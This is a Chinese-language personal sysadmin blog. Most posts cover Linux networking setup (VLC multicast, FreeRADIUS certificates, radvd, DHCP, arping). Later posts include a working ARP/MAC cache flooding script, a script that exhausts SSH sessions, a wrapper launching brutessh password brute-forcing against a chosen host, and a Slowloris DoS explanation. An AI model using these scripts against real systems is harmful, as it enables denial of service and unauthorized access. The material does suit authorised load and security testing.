升級OpenSUSE12.2

剛剛把OpenSUSE12.1升級到了12.2，先來說說第1印象吧。

1. 改用了Systemd取代Sys V，所以感覺上開機變更快了。
2. 字型變更漂亮。
3. DeadBeef運作良好，不受升級影響。
4. aMule運作良好，不受升級影響。
5. Terminator運作良好，不受升級影響。

問題：

1. 音效輸出不會自動切換，比如當插入耳機後，喇叭還是有輸出。
2. Google-Chrome需要重新安裝。
3. PPS不能播放，可能需要重新安裝。
4. Tools bar看不到目前的輸入法。
5. 無法針對RAR檔案解壓縮。

剛升級完，繼續測試中。

How to upgrade?

How to be a Multicast Video stream Server in Linux

透過VLC這套軟體，可以在Linux建立支援multicast的媒體串流播放器，以下簡單的記錄IPv4與IPv6的建立與播放的方法：

1. IPv4:
- 切換至non-root user.
- 開啟console.
- 執行以下的命令：
vlc -vvv 111755131.mov -L --sout '#duplicate{dst=rtp{mux=ts,dst=239.1.1.1,port=5004,sdp=sap://,name="TestStream"}}'

111755131.mov 是欲播放的檔案。
239.1.1.1 with port 5004 是multicast的IPv4 address與port number.


2. IPv6:
步驟跟IPv4都一樣，只是將IP改成v6的格式如下:
vlc -vvv 111755131.mov -L --sout '#duplicate{dst=rtp{mux=ts,dst=[ff08::114],port=5004,sdp=sap://,name="TestStream"}}'


VLC Client:
- IGMP v2: Media::Open Network Stream:: rtp://@239.1.1.1:5004

- IGMP v3: Media::Open Network Stream:: rtp://10.10.10.10@239.1.1.1:5004

- MLD: Media::Open Network Stream:: rtp://@[ff08::114]:5004

Set IGMP version in Windows

Latency when displaying a live RTP stream

帽客的愛車 VW Tiguan

Tiguan結合了Tiger與Lguana -> OSX+OpenSUSE? 所以我對它情有獨鍾 :) 別來亂了，這台車是我老婆選的。但是它真的是台好車唷！

OpenSUSE 12.2正式發行！

OpenSUSE 12.2已經可以開始下載囉！以下是這一版本的release note.

OpenSUSE 12.2 發行公告

還有三天！OpenSUSE12.2要來囉！

緊接著Fedora17，還剩三天OpenSUSE 12.2就要釋出囉！話說我也好久沒有更新我的Blog了.......唉唉唉～

Free memory on Mac OSX

公司的MacBookPro很少重新開機，想當然耳系統日以繼夜的運行，當開啟新的APP時，會覺得有點卡卡的，以往習慣用MemoryFree2這套APP去清理"inactive"的memory，但是其實用一個command就可以達成了，實作如下：

MBP:~ lawrence$ sync && purge

搞定，收工。

How to configure FreeRADIUS2.x support EAP-TLS under Linux?

延續上篇How to configure FreeRADIUS2.x support EAP-TTLS under Linux?
現在只要再產生client端要使用的certificate並且把ROOTCA與ClientCA匯入到client端，就可以使用EAP-TLS了，整個步驟如下:

Step1: MAKING A CLIENT CERTIFICATE

  Client certificates are used by EAP-TLS, and optionally by EAP-TTLS
and PEAP.  The following steps outline how to create a client
certificate that is signed by the server certificate created above.
You will have to have the password for the server certificate in the
"input_password" and "output_password" fields of the server.cnf file.

$ vi client.cnf
  Edit the "input_password" and "output_password" fields to be the
  password for the client certificate.  You will have to give these
  passwords to the end user who will be using the certificates.
  Edit the [client] section to have the correct values for your
  country, state, etc.  Be sure that the commonName field here is
  the User-Name that will be used for logins!
$ make client.pem
  The users certificate will be in "emailAddress.pem",
  i.e. "user@example.com.pem".
  To create another client certificate, just repeat the steps for
  making a client certificate, being sure to enter a different login
  name for "commonName", and a different password.

Step2: IMPORT ROOTCA, and Client Certificate/以Fedora16為例:

- 安全性: WPA&WPA2 Enterprise
- 驗證: TLS
- 識別: commonName
- CA: ca.pem
- 私密金鑰: client.p12
- 私密金鑰密碼: "input_password" and "output_password"

Note: ca.pem and client.p12是產生ROOTCA與Client Certificate時所一併產生的，所在的目錄是/etc/raddb/certs/

That's all.

How to configure IPv6 Router advertisement Daemon under Linux?

在此簡單記錄一下如何在Redhat/Fedora下透過Router advertisement Daemon(radvd)自動分派IPv6的IP address.

Step1: 設定Kernel參數 for IPv6 support

net.ipv6.conf.all.forwarding = 1
net.ipv6.conf.all.autoconf = 0

Step2: 設定系統支援IPv6

# vi /etc/sysconfig/network
......
NETWORKING_IPV6=yes
......

Step3: 安裝radvd

# yum install radvd

Step4: 設定radvd.conf

# vi /etc/radvd.conf
interface eth1
{
AdvSendAdvert on;
MinRtrAdvInterval 30;
MaxRtrAdvInterval 100;
        AdvOtherConfigFlag on;
prefix 3001:288::/64
{
AdvOnLink on;
AdvAutonomous on;
AdvRouterAddr on;
};
};

Step5: 啟動radvd

# /etc/init.d/radvd start; chkconfig radvd on

How to configure FreeRADIUS2.x support EAP-TTLS under Linux?

If you would like to make FreeRADIUS 2.x support EAP-TTLS, then following steps outline how to configure it:

1. Re-generate Root CA/Server certificate:

# cd /etc/raddb/certs
# rm -f ca.der ca.key ca.pem
# rm -f server.crt server.csr server.key server.p12 server.pem

2. Make Root CA:

# vi ca.cnf
  Edit the "input_password" and "output_password" fields to be the
  password for the CA certificate.
  Edit the [certificate_authority] section to have the correct values
  for your country, state, etc.
# make ca.pem
  This step creates the CA certificate.
# make ca.der
  This step creates the DER format of the self-signed certificate,
  which is can be imported into Windows.

3. MAKING A SERVER CA:

# vi server.cnf
  Edit the "input_password" and "output_password" fields to be the
  password for the server certificate.
  Edit the [server] section to have the correct values for your
  country, state, etc.  Be sure that the commonName field here is
  different from the commonName for the CA certificate.
# make server.pem
  This step creates the server certificate.
  If you have an existing certificate authority, and wish to create a
  certificate signing request for the server certificate, edit
  server.cnf as above, and type the following command.
# make server.csr
  You will have to ensure that the certificate contains the XP
  extensions needed by Microsoft clients.

4. To modify client configuration directives in /etc/raddb/clients.conf

client 10.10.0.0/16 {
        secret          = testing123
        shortname       = private-network-2
}

5. To modify EAP type in /etc/raddb/eap.conf

default_eap_type = ttls
....
ttls {
                default_eap_type = mschapv2
                copy_request_to_tunnel = yes
                use_tunneled_reply = yes
                #virtual_server = "inner-tunnel"
}
....

6. To add user in /etc/raddb/users

lawrence Cleartext-Password := "testing"

7. To disable MPPE in /etc/raddb/modules/mschap

        use_mppe = no

8. Restart FreeRADIUS:

# /etc/init.d/radiusd restart

That's all.

How to configure DHCP Server prefer broadcast response all the time under Linux?

上篇Configure Windows7 prefer DHCP unicast or broadcast response，說明了可更改OS的設定，然而有一種情況是DHCP Server說了算！也就是說DHCP Server可以不管DHCP client原本的預期，而一律採用broadcast的方式回應，在dhcpd中，只要加一筆參數就可以了。

# vi /etc/dhcpd.conf
.....

always-broadcast on;

......

修改後，記得restart dhcpd。

# /etc/init.d/dhcpd restart

BTW, Windows7預設prefer broadcast response，WindowsXP則是unicast response，而一般的linux distro.同樣也是unicast。

How to send Gratuitous ARP request/reply via arping under Linux

What's Gratuitous ARP:
http://wiki.wireshark.org/Gratuitous_ARP

How?
1. GARP request:

 # arping -U 10.10.10.100 -I eth0
  -U : Unsolicited ARP mode, update your neighbours
  -I device : which ethernet device to use (eth0)

2. GARP reply:

 # arping -A -U 10.10.10.100 -I eth0
  -A : ARP answer mode, update your neighbours

Virtual file system in Linux

如果你想要在Linux系統中從一個既有的partition去虛擬另一個partition的話，Virtual file system是一個蠻不錯的小技巧。

Step1. 建立一個空檔:

[root@localhost ruckus]# cd /tmp/

[root@localhost tmp]# dd if=/dev/zero of=vs_file bs=1M count=512

512+0 records in

512+0 records out

536870912 bytes (537 MB) copied，0.767225 秒，700 MB/s

Step2. 將空檔格式化成虛擬的檔案系統:

[root@localhost tmp]# mke2fs -j vs_file

mke2fs 1.39 (29-May-2006)

vs_file is not a block special device.

Proceed anyway? (y,n) y

Filesystem label=

OS type: Linux

Block size=1024 (log=0)

Fragment size=1024 (log=0)

131072 inodes, 524288 blocks

26214 blocks (5.00%) reserved for the super user

First data block=1

Maximum filesystem blocks=67633152

64 block groups

8192 blocks per group, 8192 fragments per group

2048 inodes per group

Superblock backups stored on blocks:

8193, 24577, 40961, 57345, 73729, 204801, 221185, 401409

Writing inode tables: done

Creating journal (16384 blocks): done

Writing superblocks and filesystem accounting information: done

This filesystem will be automatically checked every 21 mounts or

180 days, whichever comes first. Use tune2fs -c or -i to override.

Step3. 以一般掛載partition的方法掛載虛擬檔案系統:

[root@localhost tmp]# mount -o loop /tmp/vs_file /mnt/vf/

Step4. 驗證一下:

[root@localhost tmp]# mount | grep vs_file

/tmp/vs_file on /mnt/vf type ext3 (rw,loop=/dev/loop0)

[root@localhost tmp]# cd /mnt/vf/

[root@localhost vf]# ls

lost+found

[root@localhost vf]# touch test

[root@localhost vf]# ls

lost+found test

GNU Hurd kernel

孤陋寡聞，原來GNU原先預期搭載的kernel不是用Linux而是Hurd。

http://www.gnu.org/software/hurd/index.html

http://zh.wikipedia.org/wiki/Hurd

http://www.osnews.com/story/25724/Interview_Richard_Stallman

Configure Windows7 prefer DHCP unicast or broadcast response

預設上Windows7 Home edition是prefer DHCP Server回應的封包採用broadcast的方式，當然這也是可以更改為unicast的，做法很簡單，只要透過register table來更改就可以完成了。

Click Start->regedit->

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{GUID}

GUID這邊指的是對應到的NIC，可用wireshark來幫助查詢。

DhcpConnForceBroadcastFlag (0 or 1)

0 indicate unicast

1 indicate broadcast

Reference:

DHCP Broadcast flag handling in Windows 7

Low bandwidth HTTP attack: Slowloris

Low bandwidth HTTP attack與傳統的DoS反其道而行，採取的方法是用單一的機器只需少少的頻寬就可以讓HTTP Server癱瘓，其中最著名的就是Slowloris，他的原理簡單的來說是對HTTP Server送不出完全的HTTP request，並且試著讓它保持不被HTTP Server timeout，如此一來HTTP Server可開啟的最大socket數就會滿了，最後導致HTTP Server無法提供服務給其他機器。

Slowloris下載處

請勿以此工具攻擊別人，謝謝。

參考來源：

http://ha.ckers.org/slowloris/

http://news.softpedia.com/news/Web-Servers-in-Danger-from-Low-Bandwidth-HTTP-DoS-114745.shtml

http://en.wikipedia.org/wiki/Slowloris

ARP/MAC address flooding attack

在BT5結合arping測試工具，寫了一個簡單的script來測試目標主機可否hold得住ARP/MAC address flooding attack，script內容如下：

root@bt:~# cat bin/arp_cache.sh

#!/bin/bash

function arp_cache_attack

{

while true;

do

for((i=1;i<=100;i++))

do

mac=$(($RANDOM%10))

number1=$(($RANDOM%254))

number2=$(($RANDOM%254))

number3=$(($RANDOM%254))

number4=$(($RANDOM%254))

arping -S "$number1.$number2.$number3.$number4" -s 00:00:00:00:$mac:$mac 10.10.6.6 -c 1 &

done

sleep 1

kill `ps aux | grep -i arping | grep -v grep | awk -F" " '{ print $2 }'` 1>/dev/null

sync && echo "3" > /proc/sys/vm/drop_caches

echo "re-generate"

done

}

arp_cache_attack

此script每次會產生100筆隨機的假IP與MAC address去嘗試塞滿目標主機(10.10.6.6於以上script中)的arp table。

僅供個人研究，請勿以此script測試或攻擊別人的主機。

如何增加Linux arp cache entry

好文章，先收藏起來。

Linux: Neighbour Table Overflow Error and Solution

OSX 10.8 Mountain Lion~

你能相信嗎？OSX 10.8要發佈了！Lion真是史上最短的OSX。

http://www.apple.com/macosx/mountain-lion/

如何測試SSH Server可接受的未經授權的最大連線數?

寫了一個簡單的script如下，去做測試然而目前只支援Class C，可以改善的空間應該還不少。

#!/bin/bash

# Bind IP

read -p "Which interface? [eth0]: " INTERFACE

read -p "Net address: [10.10.10] " NETIP

read -p "Min IP address: [1] " MiIP

read -p "Max IP address:[254] " MaIP

for((i="$MiIP";i<="$MaIP";i++))

do

ip addr add "$NETIP"."$i"/24 dev $INTERFACE 1>/dev/null 2>1

done

echo ""

# Start to test

read -p "Target: [10.10.10.10] " TARGET

i=$MiIP

num=1

echo ""

echo "Preparing for test target: $TARGET"

sleep 5

while true;

do

ssh admin@$TARGET -o StrictHostKeyChecking=no -b "$NETIP"."$i" 1>/dev/null 2>1 &

sleep 1

netstat -an | grep 22 | grep ESTABLISHED | grep "\<$NETIP"."$i\>"

if [ `echo $?` -ne 0 ]; then

num=$(($num-1))

echo "The maximum SSH session of $TARGET is $num"

kill `ps aux | grep "\<22\>" | grep -v grep | grep -v ssh-agent | awk -F" " '{print $2}'` > /dev/null

break

else

echo "SSH session number $num is established!"

i=$(($i+1))

num=$(($num+1))

fi

done

exit

SSH Brute Force attack tools

Here it is: http://zeldor.biz/2011/01/how-to-bruteforce-ssh/

And I'v wrote a bash script to make it more easy to use as following:

1 #!/bin/bash

2

3 read -p "Please enter your target host: " HOST

4 echo "Enter run to launch SSH Brute Force Attack, or exit to leave it."

5

6 echo -n "[run/exit]? "

7 while read LINE;

8 do

9 if [ $LINE = "run" ]; then

10 clear

11 python /root/bin/brutessh/brutessh.py -h $HOST -u admin -d /root/bin/brutessh/passlist.txt &

12 sleep 10

13 echo -n "***** Enter exit can stop SSH Brute Force attack immediately or rerun it again. ***** [run/exit]? "

14 continue

15 elif [ $LINE = "exit" ]; then

16 kill `ps aux | grep brutessh.py | grep -v grep |awk -F" " '{ print $2 }'` 2> /dev/null

17 break

18 fi

19 done

Please to adjust /root/bin/brutessh/ above to work with your environment.

Thanks to Igor Drobot (http://zeldor.biz/about/ blog author) and laramies (brutessh author).